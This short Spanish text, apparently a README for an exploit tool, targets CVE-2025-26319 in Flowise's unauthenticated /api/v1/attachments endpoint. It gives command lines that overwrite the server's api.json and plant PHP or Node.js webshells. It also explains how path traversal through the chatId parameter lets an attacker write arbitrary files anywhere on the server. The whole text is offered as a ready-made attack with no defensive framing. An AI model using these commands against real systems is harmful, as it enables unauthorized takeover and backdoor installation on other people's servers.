
Exploit para CVE-2025-26319 dirigido al endpoint /api/v1/attachments de Flowise, que permite la carga de archivos arbitrarios sin autenticación y la generación de webshells mediante path traversal.
python flowise_exploit.py -u http://target:3000 -f new_api.json -d /root/.flowise/api.json 3. Generar y subir Webshell automáticamente
python flowise_exploit.py -u http://target:3000 --generate-webshell php --webshell-path /var/www/html/shell.php
python flowise_exploit.py -u http://target:3000 --generate-webshell nodejs --webshell-path /tmp/backdoor.js
Principio del ataque La ruta /api/v1/attachments está en la lista blanca, por lo que no requiere autenticación Mediante la manipulación del parámetro chatId se realiza un path traversal (../../../) Subir cualquier archivo a cualquier ubicación del sistema de archivos del servidor.